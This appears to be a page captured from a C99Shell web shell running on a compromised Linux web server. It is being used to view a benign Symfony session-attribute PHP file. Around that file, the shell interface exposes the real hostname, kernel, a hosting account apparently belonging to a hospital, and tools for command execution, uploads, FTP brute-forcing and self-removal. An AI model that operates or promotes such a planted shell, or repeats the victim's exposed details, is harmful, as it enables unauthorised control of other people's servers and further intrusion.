!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php53/usr/share/pear/Symfony/Component/HttpFoundation/Session/Attribute/   drwxr-xr-x
Free 293.47 GB of 429.69 GB (68.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     NamespacedAttributeBag.php (3.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpFoundation\Session\Attribute;

/**
 * This class provides structured storage of session attributes using
 * a name spacing character in the key.
 *
 * @author Drak <drak@zikula.org>
 */
class NamespacedAttributeBag extends AttributeBag
{
    
/**
     * Namespace character.
     *
     * @var string
     */
    
private $namespaceCharacter;

    
/**
     * Constructor.
     *
     * @param string $storageKey         Session storage key.
     * @param string $namespaceCharacter Namespace character to use in keys.
     */
    
public function __construct($storageKey '_sf2_attributes'$namespaceCharacter '/')
    {
        
$this->namespaceCharacter $namespaceCharacter;
        
parent::__construct($storageKey);
    }

    
/**
     * {@inheritdoc}
     */
    
public function has($name)
    {
        
$attributes $this->resolveAttributePath($name);
        
$name $this->resolveKey($name);

        if (
null === $attributes) {
            return 
false;
        }

        return 
array_key_exists($name$attributes);
    }

    
/**
     * {@inheritdoc}
     */
    
public function get($name$default null)
    {
        
$attributes $this->resolveAttributePath($name);
        
$name $this->resolveKey($name);

        if (
null === $attributes) {
            return 
$default;
        }

        return 
array_key_exists($name$attributes) ? $attributes[$name] : $default;
    }

    
/**
     * {@inheritdoc}
     */
    
public function set($name$value)
    {
        
$attributes = & $this->resolveAttributePath($nametrue);
        
$name $this->resolveKey($name);
        
$attributes[$name] = $value;
    }

    
/**
     * {@inheritdoc}
     */
    
public function remove($name)
    {
        
$retval null;
        
$attributes = & $this->resolveAttributePath($name);
        
$name $this->resolveKey($name);
        if (
null !== $attributes && array_key_exists($name$attributes)) {
            
$retval $attributes[$name];
            unset(
$attributes[$name]);
        }

        return 
$retval;
    }

    
/**
     * Resolves a path in attributes property and returns it as a reference.
     *
     * This method allows structured namespacing of session attributes.
     *
     * @param string  $name         Key name
     * @param boolean $writeContext Write context, default false
     *
     * @return array
     */
    
protected function &resolveAttributePath($name$writeContext false)
    {
        
$array = & $this->attributes;
        
$name = (strpos($name$this->namespaceCharacter) === 0) ? substr($name1) : $name;

        
// Check if there is anything to do, else return
        
if (!$name) {
            return 
$array;
        }

        
$parts explode($this->namespaceCharacter$name);
        if (
count($parts) < 2) {
            if (!
$writeContext) {
                return 
$array;
            }

            
$array[$parts[0]] = array();

            return 
$array;
        }

        unset(
$parts[count($parts)-1]);

        foreach (
$parts as $part) {
            if (
null !== $array && !array_key_exists($part$array)) {
                
$array[$part] = $writeContext ? array() : null;
            }

            
$array = & $array[$part];
        }

        return 
$array;
    }

    
/**
     * Resolves the key from the name.
     *
     * This is the last part in a dot separated string.
     *
     * @param string $name
     *
     * @return string
     */
    
protected function resolveKey($name)
    {
        if (
false !== $pos strrpos($name$this->namespaceCharacter)) {
            
$name substr($name$pos+1);
        }

        return 
$name;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0979 ]--